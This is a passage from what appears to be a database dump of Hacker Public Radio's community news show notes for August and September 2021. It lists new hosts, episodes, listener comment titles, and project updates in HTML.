href=\"https://hackerpublicradio.org/eps.php?id=3331#2\" target=\"_blank\">Comment 2</a>:\nbjb on 2021-08-08:\n\"Question about mic positioning\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3377#comments\" target=\"_blank\">hpr3377</a></strong>\n(2021-07-13) \"<em>Chromebook support and more</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3377#2\" target=\"_blank\">Comment 2</a>:\nGuardian on 2021-08-08:\n\"Lousy sound quality abuses audience.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3382#comments\" target=\"_blank\">hpr3382</a></strong>\n(2021-07-20) \"<em>How I fixed a fault on my car for free thanks to YouTube</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3382#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2021-08-06:\n\"I hadn\'t quite appreciated what was happening\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3382#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2021-08-07:\n\"Oops\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3382#3\" target=\"_blank\">Comment 3</a>:\nShortFatBaldGuy on 2021-08-28:\n\"Appreciation for episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3388#comments\" target=\"_blank\">hpr3388</a></strong>\n(2021-07-28) \"<em>Linux Inlaws S01E35: The Free Software Foundation Europe</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3388#2\" target=\"_blank\">Comment 2</a>:\ndragestil on 2021-08-07:\n\"Regarding RMS\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3388#3\" target=\"_blank\">Comment 3</a>:\nBob on 2021-08-10:\n\"Clarification\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3388#4\" target=\"_blank\">Comment 4</a>:\ndragestil on 2021-08-11:\n\"Re: Clarification\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 15 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3393#comments\" target=\"_blank\">hpr3393</a></strong>\n(2021-08-04) \"<em>We need to talk about XML</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3393#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-08-06:\n\"Thank you.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3393#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-08-08:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3394#comments\" target=\"_blank\">hpr3394</a></strong>\n(2021-08-05) \"<em>Be an XML star with xmlstarlet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3394#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2021-08-05:\n\"My one cool xmlstarlet trick\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3395#comments\" target=\"_blank\">hpr3395</a></strong>\n(2021-08-06) \"<em>Hacking Stories with Reacted: part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3395#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2021-08-06:\n\"Please do more\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3395#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-08-09:\n\"I loved this story\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3395#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2021-08-23:\n\"Social Engineering Access\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3399#comments\" target=\"_blank\">hpr3399</a></strong>\n(2021-08-12) \"<em>Linux Inlaws S01E36: Open Source Licenses</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3399#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-08-14:\n\"Another good show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3400#comments\" target=\"_blank\">hpr3400</a></strong>\n(2021-08-13) \"<em>Normal Layer Modes: Normal, Dissolve, Color Erase</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3400#1\" target=\"_blank\">Comment 1</a>:\nbjb on 2021-08-12:\n\"Thanks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3400#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-08-12:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3407#comments\" target=\"_blank\">hpr3407</a></strong>\n(2021-08-24) \"<em>Software Freedom Podcast</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3407#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2021-08-27:\n\"Great Show.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3410#comments\" target=\"_blank\">hpr3410</a></strong>\n(2021-08-27) \"<em>Operating Systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3410#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-08-27:\n\"Love this history\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3410#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-08-27:\n\"You are most welcome\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3410#3\" target=\"_blank\">Comment 3</a>:\nJan on 2021-08-27:\n\"Observations\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3410#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2021-08-30:\n\"Audio quality\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3410#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2021-08-30:\n\"Can you define broken\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 10 additional shows in the range 1-870 have been uploaded.</p>\n<p>Since we don\'t want to upload shows without summaries or tags the <em>old shows</em> and <em>tag and summary</em> projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">summary page</a>.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 108 shows which were without them.</p>\n<p>There are currently 114 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3436,'2021-10-04','HPR Community News for September 2021',3268,'HPR Volunteers talk about shows released and comments posted in September 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=395\" target=\"_blank\">CoGo</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3413\" target=\"_blank\">3413</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3413\" target=\"_blank\">Bash snippet - using coproc with SQLite</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3414\" target=\"_blank\">3414</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-09-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3414\" target=\"_blank\">Critical Thinking may make You Critical of the Covid Crisis</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=395\" target=\"_blank\">CoGo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3415\" target=\"_blank\">3415</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-09-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3415\" target=\"_blank\">Hacking Stories with Reacted: part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3416\" target=\"_blank\">3416</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3416\" target=\"_blank\">HPR Community News for August 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3417\" target=\"_blank\">3417</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3417\" target=\"_blank\">Ceph cluster hardware</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3418\" target=\"_blank\">3418</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3418\" target=\"_blank\">My gEeeky Experiment - Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3419\" target=\"_blank\">3419</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-09-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3419\" target=\"_blank\">Linux Inlaws S01E38: Tiny kernels</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3420\" target=\"_blank\">3420</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-09-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3420\" target=\"_blank\">Normal Layer Modes: Erase, Merge, and Split</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3421\" target=\"_blank\">3421</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3421\" target=\"_blank\">BlacKernel\'s Journey Into Technology: Episode 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3422\" target=\"_blank\">3422</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3422\" target=\"_blank\">Update about Phones and Devices</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3423\" target=\"_blank\">3423</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3423\" target=\"_blank\">\"upg.sh\" my \"dump.txt\" to \"note.md\"</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3424\" target=\"_blank\">3424</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-09-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3424\" target=\"_blank\">Infosec Podcasts Part 6 - Infosec Leadership</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3425\" target=\"_blank\">3425</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-09-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3425\" target=\"_blank\">Hacking Stories with Reacted: part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3426\" target=\"_blank\">3426</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-09-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3426\" target=\"_blank\">Rust 101: Episode 0 - What in Tarnishing?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3427\" target=\"_blank\">3427</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3427\" target=\"_blank\">Ranger for the Win!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3428\" target=\"_blank\">3428</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3428\" target=\"_blank\">Bad disk rescue</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3429\" target=\"_blank\">3429</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-09-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3429\" target=\"_blank\">Linux Inlaws S01E39: Ubuntu and the Community</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3430\" target=\"_blank\">3430</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-09-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3430\" target=\"_blank\">Booting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3431\" target=\"_blank\">3431</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3431\" target=\"_blank\">Living in the Terminal</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3432\" target=\"_blank\">3432</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3432\" target=\"_blank\">Reading a license: Creative Commons Attribution ShareAlike 4.0 International</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3433\" target=\"_blank\">3433</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3433\" target=\"_blank\">A Squirrels thoughts about RMS</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3434\" target=\"_blank\">3434</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-09-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3434\" target=\"_blank\">From 0 to K8s in 30 minutes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 27 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3297#comments\" target=\"_blank\">hpr3297</a></strong>\n(2021-03-23) \"<em>Nextcloud Application Updating</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3297#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2021-09-21:\n\"+1\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3377#comments\" target=\"_blank\">hpr3377</a></strong>\n(2021-07-13) \"<em>Chromebook support and more</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3377#3\" target=\"_blank\">Comment 3</a>:\nFSA on 2021-09-30:\n\"Sound Quality Trolling?\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 25 comments on 13 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3413#comments\" target=\"_blank\">hpr3413</a></strong>\n(2021-09-01) \"<em>Bash snippet - using coproc with SQLite</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3413#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2021-09-01:\n\"New tool for my toolbox\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3413#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2021-09-02:\n\"Excellent detail!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3413#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2021-09-02:\n\"Re: New tool for my toolbox\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3413#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2021-09-02:\n\"Re: Excellent detail!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3414#comments\" target=\"_blank\">hpr3414</a></strong>\n(2021-09-02) \"<em>Critical Thinking may make You Critical of the Covid Crisis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=395\" target=\"_blank\">CoGo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3414#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-09-02:\n\"Controversial topic... Love it!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3414#2\" target=\"_blank\">Comment 2</a>:\ndrad on 2021-09-03:\n\"Great Episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3414#3\" target=\"_blank\">Comment 3</a>:\nBarbara Ann Walko on 2021-09-09:\n\"hpr3414\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3414#4\" target=\"_blank\">Comment 4</a>:\nJoel on 2021-09-09:\n\"Excellent analysis!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3415#comments\" target=\"_blank\">hpr3415</a></strong>\n(2021-09-03) \"<em>Hacking Stories with Reacted: part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3415#1\" target=\"_blank\">Comment 1</a>:\nWillingness on 2021-09-04:\n\"Awesome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3416#comments\" target=\"_blank\">hpr3416</a></strong>\n(2021-09-06) \"<em>HPR Community News for August 2021</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3416#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-09-07:\n\"My former profession\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3417#comments\" target=\"_blank\">hpr3417</a></strong>\n(2021-09-07) \"<em>Ceph cluster hardware</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3417#1\" target=\"_blank\">Comment 1</a>:\nMichael on 2021-09-08:\n\"Why Ceph?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3420#comments\" target=\"_blank\">hpr3420</a></strong>\n(2021-09-10) \"<em>Normal Layer Modes: Erase, Merge, and Split</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3420#1\" target=\"_blank\">Comment 1</a>:\nmu.rupeshkumar@gmail,com on 2021-09-12:\n\"can\'t hear in Mobile\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3420#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2021-09-13:\n\"Fixed\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3421#comments\" target=\"_blank\">hpr3421</a></strong>\n(2021-09-13) \"<em>BlacKernel\'s Journey Into Technology: Episode 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3421#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-09-13:\n\"Welcome &amp; thanks for sharing!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3423#comments\" target=\"_blank\">hpr3423</a></strong>\n(2021-09-15) \"<em>\"upg.sh\" my \"dump.txt\" to \"note.md\"</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3423#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-09-15:\n\"Great work\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3426#comments\" target=\"_blank\">hpr3426</a></strong>\n(2021-09-20) \"<em>Rust 101: Episode 0 - What in Tarnishing?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3426#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-09-20:\n\"Thank you.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3426#2\" target=\"_blank\">Comment 2</a>:\nHipstre on 2021-09-20:\n\"Rust 101, Episode 0\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3427#comments\" target=\"_blank\">hpr3427</a></strong>\n(2021-09-21) \"<em>Ranger for the Win!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3427#1\" target=\"_blank\">Comment 1</a>:\njrullo on 2021-09-22:\n\"Vim lover\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3429#comments\" target=\"_blank\">hpr3429</a></strong>\n(2021-09-23) \"<em>Linux Inlaws S01E39: Ubuntu and the Community</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3429#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2021-09-23:\n\"Just the usual complaint\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3430#comments\" target=\"_blank\">hpr3430</a></strong>\n(2021-09-24) \"<em>Booting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3430#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-09-24:\n\"Trip down memory lane...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3430#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 